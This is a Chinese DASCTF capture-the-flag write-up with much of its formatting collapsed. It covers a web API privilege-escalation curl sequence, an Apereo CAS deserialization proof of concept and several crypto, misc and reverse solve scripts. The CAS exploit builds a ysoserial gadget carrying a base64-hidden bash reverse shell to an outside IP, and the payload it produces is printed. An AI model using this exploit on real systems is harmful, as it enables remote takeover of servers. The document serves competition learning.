38kkk(38kkkcom)燃爆了
平台就不评价了，看题吧
燃爆了.jpg)
WebAPITest解题思路
➜ curl http://183.129.189.61:59300/login -H Content-Type: application/json -d {"username": "vvvkkk"}
{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4YjAyNzY0LTZmNWItNGJkZS1hNWFjLTY3NWZjNTI4ZTY4ZiIsImlhdCI6MTU5NjE4NTc4Nn0.NMzcRFuIVGQSTYUZi6r7bwserKHcA4zsFcXuqmHYJvs"
}}➜ curl http://183.129.189.61:59300/becomeAdmin -H Content-Type: application/json -H Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4YjAyNzY0LTZmNWItNGJkZS1hNWFjLTY3NWZjNTI4ZTY4ZiIsImlhdCI6MTU5NjE4NTc4Nn0.NMzcRFuIVGQSTYUZi6r7bwserKHcA4zsFcXuqmHYJvs
-d {"value": "99"}{"status":"ok","data":{"isAdmin":true}}➜ curl http://183.129.189.61:59300/updateUser -H
Content-Type: application/json -H Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4YjAyNzY0LTZmNWItNGJkZS1hNWFjLTY3NWZjNTI4ZTY4ZiIsImlhdCI6MTU5NjE4NTc4Nn0.NMzcRFuIVGQSTYUZi6r7bwserKHcA4zsFcXuqmHYJvs
-d {"rights":[["secret"]]}{"status":"ok","data":{"user":{"username":"vvvkkk","id":"f8b02764-6f5b-4bde-a5ac-675fc528e68f"
,"value":100,"isAdmin":true,"rights":["message","adminUsername",["secret"]]}}}➜ curl http://183.129.189.61:59300/server
Info -H Content-Type: application/json -H Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4YjAyNzY0LTZmNWItNGJkZS1hNWFjLTY3NWZjNTI4ZTY4ZiIsImlhdCI6MTU5NjE4NTc4Nn0.NMzcRFuIVGQSTYUZi6r7bwserKHcA4zsFcXuqmHYJvs
{"status":"ok","data":{"info":[{"name":"message","value":"Can you get flag?"},{"name":"adminUsername"
,"value":"kirakira_dokidoki"},{"name":["secret"],"value":"1145141919810"}]}}➜ curl http://183.129.189.61:59300/init
-H Content-Type: application/json -d {"secret": "1145141919810"}{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTk2MTg1OTgwfQ.-SkWSIJfXy53hm_Ql27JDKDIDUMDWke6IUWaxv-nIks"
}}➜ curl http://183.129.189.61:59300/flag -H Content-Type: application/json -H Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTk2MTg1OTgwfQ.-SkWSIJfXy53hm_Ql27JDKDIDUMDWke6IUWaxv-nIks
{"status":"ok","data":{"flag":"DASCTF{5cefbd0642a750e8a2a309d964de8668}"}}apereocashttps://www.freebuf.com/vuls/226149.html
pocimport org.apache.http.impl.client.HttpClients;import org.apache.http.util.EntityUtils;import org.jasig.spring.webflow.plugin.EncryptedTranscoder;
import org.cryptacular.util.CodecUtil;// 依赖ysoserialimport ysoserial.payloads.ObjectPayload;import java.util.ArrayList;
import java.util.List;publicclassTest{publicstaticvoidmain(String[] args)throws Exception { String poc[] = {
"CommonsCollections2", "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81OS4xMTAuMTUyLjEyMC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"
};final Object payloadObject = ObjectPayload.Utils.makePayloadObject(poc[0], poc[1]);// AES加密 EncryptedTranscoder transcoder =
new EncryptedTranscoder();byte[] aesEncoded = transcoder.encode(payloadObject);// base64加密 String b64Encoded = CodecUtil.b64(aesEncoded);
System.out.println(b64Encoded); }}//a6d818ed-68c9-4347-a833-7c704c5ab4dc_AAAAIgAAABBIc1K+6gH1Eb+lRBAzqJrFAAAABmFlczEyOK0fcLOZahms8t/SzeKeRCXPEl6OPQx+6K7qksqVIwFObC2noPz6M5YKn0WeCq4U80b8BobncrOwdhtYd8k1worKK5yFZvKh8KJczSqVgPu/azcbG5Xi6c6lKY8wUppxZDAjFjlF2hfI82iO1EgXJV3Ib2NMol16ZLeM4CmVfyyffZrG0SMxZke4z/zj50yeHPDe5RWV43I8ac2TDd+5874kuZgYftG/kKVZ+88aVCvY6MxPSl9CSknUEad3E6ljT/XreDeA2cA1PDcyVcbYyklyC1BCJmFWXOSpjUvwK9X57rWHnk2NjlvVx83o4bp1yHMlu9tcriSjbdMdBfDiiMTrh9Eboi3UPmYQbhpVxZwH3OrsmwzlUx3BP+7Br05U2Yh0ksUXXcxd/1X6LWTag1BHErkezUjstNTWbm3IlyqMxNeC1KWo6SQ3e7sdwnyKS5Ycfy57GCFs9actYSvNSKYuTDrHJG+0/tTIiltVmYqH6i0tqQXHFLxS3qN0o6WYZphYX4yTGVpLxW3NlBJ2OVm6yooZpZbacWrjlrCmmCOIATbxG27AM4tVvsXj6rM/bvSZaFzISUD9MQRP/O4uT22nnS6l6YEbs75gVUbsxJeI8lpiQX+16qcEH0Ux+BqkBDCON1jPgY7T9U8vOZew/iclgMS8kjQFo4kz/FZpSPjmfJpmIYijjcLpFPnT5I17X4PFzEihYXIm9L+PcI/95HYM75elqkKfaeE1mjURqJTyoEiQDDMJlJo5xWo/qpj3V+duYKLTcX0S0qtBGi4zAXGT1wYRi6QG4EYug5vJBafAw7lMDjoCBYGkqc7krJ3YOhhg9lr9TVkJVfvSB6orlatWqncfB45PEjHo8oyBQgDPqlDZT1bVqzpPm4ffkieMUATovo/czKGP/L77Q4DEFQFPBE2CMXT2nrhmh9EmzEbZpEeVQZZMXnbIp0R+2z3dm/Xq6J1qvmHLv70PmF+8HQknvS0Eg955czmiO98ZXw/3tVl0KAFByx1zc0ybRvW7/r2zqHVQJvtZVq+sdVbmU4tMWyfS+i4A+zEpbReGSv/KUz+9d28xp1vva7cLIGMpd2f+hdH5DiKK0MagsD30sPoJ5cz/1zAd4HsQnfY9ncCm6gCJBrP7RpQq8SbVSlX3XPVAslUZv13DXQk/R8E7lLa7Z5r1TCEv3JVRgmoORlfb//jpxz/BHXmzyyBIUrEx2yWnJQJ3NaerqzjHnVC4xzR4TXpkbPsBKYAtesjEmwfNjjVdUJGGyGPDuu6i/VUBC+AnVjVn6HkBVvs15gH4tNj/QlnQB5mqaneAH8gjB7+ZWNMpW57+YQNooAipmyuzV8vwTrmR+rAuOIR2X06h+UOoENpGPMh4yU+qmw069brmHG+eyJ753wwfLC8Rt+lqWa/wbJyKG8vq9qjW7tXWiRawLBFWn73aI0phcTugk8HxOJMHQWEJocS6zQCTeIAiRQbraZltfHfjGSvZ+GPJZB7hjbPpEoH+33hdyhJ/EhVsvvfvSRUuKnzjsAq1J4U5zh82GgtABXDxn6cNflbfPcKSRtcppKkHG9oTFV1kCftaj8RiMce1ypoBRG1Or5Jjw6PEKhKWFX790jqqSywglVkfR0swO3IqfLLAgZ6XCF9JFEdB29sI0f4QDVKipSziYwDHqu4sJ58JTYB+2x1WlwPseH1SfC+yODetisYaJebtWPbAWKO0O1Ytvxl7NUqvQdkqdzLuGS2DPvPt7DxO0VWzgBcxFpPLBs4EUHZXIAKomRQ+TFxrHPcDeJp7OmuOMNIYggm5xew1WR8gdaKAQSvDIGp1YdI/XqYfkxWzD4BmOqEmK/Nd8IzMUb2dV1vl8qmd99zZ0Srm1PUTS5AxlUW+blSJ3mjzoGOfgubGJ0pziyvxbVncftD4be8cuiw6h0JZ/mlIErZv30SKCBHf4YI=
Misc签到解题思路curl http://das.wetolink.com:8941/6GTest.file -H Range: bytes=6291456000-6291456050 --output -
explore_the_music解题思路"EB10F48B42D7FB1CE35C171C2EBC0E2D".lower()根据工具需要三段密码第一段根据波形
= [0b01110000,...: 0b01110011,...: 0b01100100,...: 0b01000001,...: 0b00111010,...: 0b00111000,...: 0b00110011,
...: 0b00111001,...: 0b00110111,...: 0b00111001,...: 0b00110011,...: 0b00110110,...: 0b00110111]...:
for i in s:...: print(chr(i),end="")# psdA:83979367B是根据频谱图C容易找到strings使用给出的工具解出flag.txt转小写即CryptoeasyRSA
解题思路先爆个e，然后接着爆破from Crypto.Util.number import *n=53868412634233045090369153437747412878975425992040754576346754596620347350784422917543759897936684646663150893442998869763798006729979997564587680875175995309635877031073898192380128134509976889005408768734374216063639902277690308505919178272615191163114645916867249827856751349851814346547505622471483949937
e=11299flag=[36143793706265337073034755285680078528436882895525190723507534395950828118997628925090404438993072380573400767902990067482880570130224609722931177274849457403547171263972983019187913817796665882873998616231519206734202450449317963141346836996876520731298139484504046340552763094411316198407383338208856130870
, ......, 30030303315850134541983623762793648940576863243875408346383336740002014977915867166596483716837565090899781937786444667011603255898645014579568163387075249462739655058635864271192704361549774337456607506026964549661765427917083344151333423310742416015343716142879418000874164534510255100626106244640607206741
]crr=[a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,{,}]for f in flag:for i
in crr: c=pow(ord(i),e,n)if(c==f): print(i,end=)breakif(i==}): print(no)
hardRSA解题思路sageN=12723332779402711330767180202990021139894727917028981722242076998825097254419567024122271773380821224949951558669351311750240296591612098048129709925844660421849429715755474874708286508736369884566273719494870891070006251521469139401722700298201541140391493575314714966432624976434199682124684035067305114749262672684081617896579640435891181745346695293618235303178334371123418790204709073465264408888007492994820133128499094347122686903153588634296508454120927
d = 917866078764439879522978129155982237074226497363774303077559973086500072584698357706062953607160443100927388509079770846279467254666824170221038624376848400144567
p=3141886348112988339174865432179206412942588390228169645162293920470188882447855208783220899752887620221059861467348059334030873350571979462363834615231089
e=7known_bits = 540X = var(X)d0 = d % (2 ** known_bits)P. = PolynomialRing(Zmod(N))for k in range(
1, e+1): results = solve_mod([e * d0 * p*X - k * p*X * (N - p*X+p +X-1) + k * N*p+k*N*X-k*N == p*X],
2 ** 540)for x in results: p0 = ZZ(x[0])if is_prime(p0) and gcd(N,p0)!=1: print(p0)
from Crypto.Util.number import *from gmpy2 import invertimport osp=3141886348112988339174865432179206412942588390228169645162293920470188882447855208783220899752887620221059861467348059334030873350571979462363834615231089
q=1717685499864896197775907037273683013533693547213627442234351497698466603787416145193085531100353655867384681748218717546880918920992536675836375071473317
r=2357581775197781437607482791761103508323570973157025072796217619655346540372188021232066313131969231858159485005657276176524827655663737988820053876919779
c=8696771272015513736887843395612361647314297287781507609196936354183211655364744684164300710583625473872942712063309507651496314800393009480421886926137403759228421858414833429980059903049311837014449093365911603108158352871851677457256058510822509157407703210866317472894586087554001158540951787167699161720491198674848526093644131709561995379565643716017359731201935855247285498574923656191121426618306186331615280461405913653781283860760013215603007314688132
e = 7n = p*q*rd = invert(e,(p-1)*(q-1)*(r-1))m = pow(c,d,n)print(long_to_bytes(m))Resversmobile解题思路比赛结束后十分钟解出来了
在init的位置对x进行了处理 动态调试把更改后的x表数据替换即可正确解题脚本如下import numpy as npxArr=[230633,241616,235681,243044,215926,247340
,226354,208221,233269,218105,219068,223956,243594,269613,193282,278408,250240,248290,209107,252851,250114
,260688,230815,235191,210685,220035,235265,262900,221536,246427,226293,277096]xxArr=[0x0D, 0x90,
0x81, 0x24, 0x3A, 0x26, 0x35, 0x28, 0x67, 0x7D, 0x61, 0x13, 0x44, 0x84,
0x1F, 0x94, 0x96, 0x60, 0x76, 0x25, 0x1E, 0x8F, 0x86, 0x25, 0x60, 0x2A,
0x81, 0x54, 0x6F, 0x42, 0x0D, 0x30, 0x7F, 0x6F, 0x66, 0x11, 0x6F, 0x64,
0x78, 0x49, 0x22, 0x90, 0x4E, 0x56, 0x85, 0x30, 0x40, 0x8D, 0x6E, 0x0F,
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0x74, 0x7D, 0x2D, 0x3E, 0x78, 0x67, 0x37, 0x94, 0x38, 0x51, 0x59, 0x63,
0x33, 0x71, 0x50, 0x4F, 0x66, 0x29, 0x1B, 0x2E, 0x3E, 0x21, 0x4A, 0x46,
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0x5D, 0x70, 0x18, 0x52, 0x8B, 0x96, 0x71, 0x80, 0x24, 0x82, 0x2F, 0x20,
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0x6C, 0x18, 0x49, 0x75, 0x83, 0x51, 0x1D, 0x42, 0x14, 0x95, 0x1C, 0x7C,
0x38, 0x23, 0x3B, 0x78, 0x60, 0x71, 0x57, 0x6F, 0x50, 0x7B, 0x86, 0x40,
0x57, 0x57, 0x72, 0x92, 0x7B, 0x17, 0x7D, 0x37, 0x73, 0x3D, 0x24, 0x4D,
0x7C, 0x69, 0x17, 0x8D, 0x6E, 0x31, 0x70, 0x55, 0x74, 0x56, 0x36, 0x96,
0x55, 0x56, 0x6C, 0x56, 0x2D, 0x24, 0x57, 0x7A, 0x33, 0x36, 0x4B, 0x2C,
0x68, 0x67, 0x23, 0x80, 0x8F, 0x49, 0x45, 0x0D, 0x2F, 0x26, 0x44, 0x0C,
0x7A, 0x32, 0x41, 0x1B, 0x6D, 0x69, 0x3C, 0x7C, 0x5A, 0x0C, 0x33, 0x3D,
0x1A, 0x8F, 0x8C, 0x25, 0x41, 0x0D, 0x34, 0x8B, 0x4D, 0x59, 0x8A, 0x72,
0x6B, 0x17, 0x8D, 0x17, 0x55, 0x4A, 0x77, 0x6A, 0x5A, 0x74, 0x14, 0x40,
0x8A, 0x34, 0x17, 0x61, 0x34, 0x26, 0x87, 0x41, 0x1A, 0x86, 0x87, 0x0E,
0x8F, 0x20, 0x6E, 0x34, 0x32, 0x50, 0x85, 0x42, 0x45, 0x5A, 0x4E, 0x14,
0x93, 0x1C, 0x73, 0x1B, 0x5D, 0x30, 0x51, 0x60, 0x79, 0x3E, 0x91, 0x5E,
0x0A, 0x16, 0x69, 0x17, 0x7D, 0x69, 0x2A, 0x82, 0x8B, 0x55, 0x1D, 0x13,
0x26, 0x33, 0x62, 0x8B, 0x55, 0x50, 0x6A, 0x37, 0x29, 0x2A, 0x95, 0x91,
0x0C, 0x4A, 0x12, 0x84, 0x48, 0x79, 0x8A, 0x61, 0x68, 0x4A, 0x28, 0x51,
0x21, 0x67, 0x71, 0x55, 0x20, 0x1D, 0x92, 0x58, 0x1B, 0x89, 0x24, 0x7E,
0x20, 0x38, 0x25, 0x1D, 0x52, 0x59, 0x4F, 0x64, 0x57, 0x48, 0x5A, 0x5D,
0x44, 0x57, 0x34, 0x4B, 0x8A, 0x7A, 0x8A, 0x54, 0x8D, 0x0D, 0x3B, 0x71,
0x66, 0x77, 0x89, 0x37, 0x1B, 0x92, 0x34, 0x12, 0x41, 0x4E, 0x2C, 0x87,
0x8B, 0x58, 0x6B, 0x8A, 0x74, 0x10, 0x2C, 0x64, 0x8B, 0x65, 0x0D, 0x4C,
0x44, 0x11, 0x38, 0x4A, 0x48, 0x1B, 0x66, 0x1C, 0x46, 0x6C, 0x2E, 0x27,
0x22, 0x2E, 0x8E, 0x11, 0x8D, 0x3C, 0x34, 0x67, 0x88, 0x46, 0x14, 0x66,
0x93, 0x62, 0x37, 0x11, 0x0E, 0x21, 0x4D, 0x86, 0x93, 0x4B, 0x7C, 0x3C,
0x52, 0x74, 0x1A, 0x92, 0x31, 0x6E, 0x2C, 0x80, 0x36, 0x93, 0x6B, 0x3A,
0x42, 0x8F, 0x18, 0x5A, 0x16, 0x5C, 0x8B, 0x49, 0x8D, 0x81, 0x86, 0x54,
0x1B, 0x3E, 0x2E, 0x22, 0x3A, 0x90, 0x2B, 0x88, 0x6B, 0x0B, 0x52, 0x5F,
0x18, 0x75, 0x39, 0x71, 0x49, 0x2C, 0x5B, 0x8D, 0x2C, 0x3C, 0x80, 0x8E,
0x60, 0x39, 0x7F, 0x3C, 0x4A, 0x36, 0x8A, 0x77, 0x76, 0x3D, 0x82, 0x92,
0x0B, 0x41, 0x5C, 0x52, 0x3C, 0x72, 0x36, 0x8B, 0x94, 0x54, 0x6E, 0x8D,
0x8E, 0x54, 0x15, 0x46, 0x36, 0x78, 0x30, 0x5D, 0x68, 0x62, 0x27, 0x67,
0x1D, 0x68]xArr = np.array(xArr)xxArr = np.array(xxArr)xxArr = np.resize(xxArr, (32, 32))xxArr_inv = np.linalg.inv(xxArr.T)
solve = np.dot(xArr, xxArr_inv)print(solve)endChaMd5 ctf组 长期招新尤其是crypto+reverse+pwn+合约的大佬欢迎联系admin@chamd5.org
 fill=%23FFFFFF%3E%3Crect x=249 y=126 width=1 height=1%3E%3C/rect%3E%3C/g%3E%3C/g%3E%3C/svg%3E)
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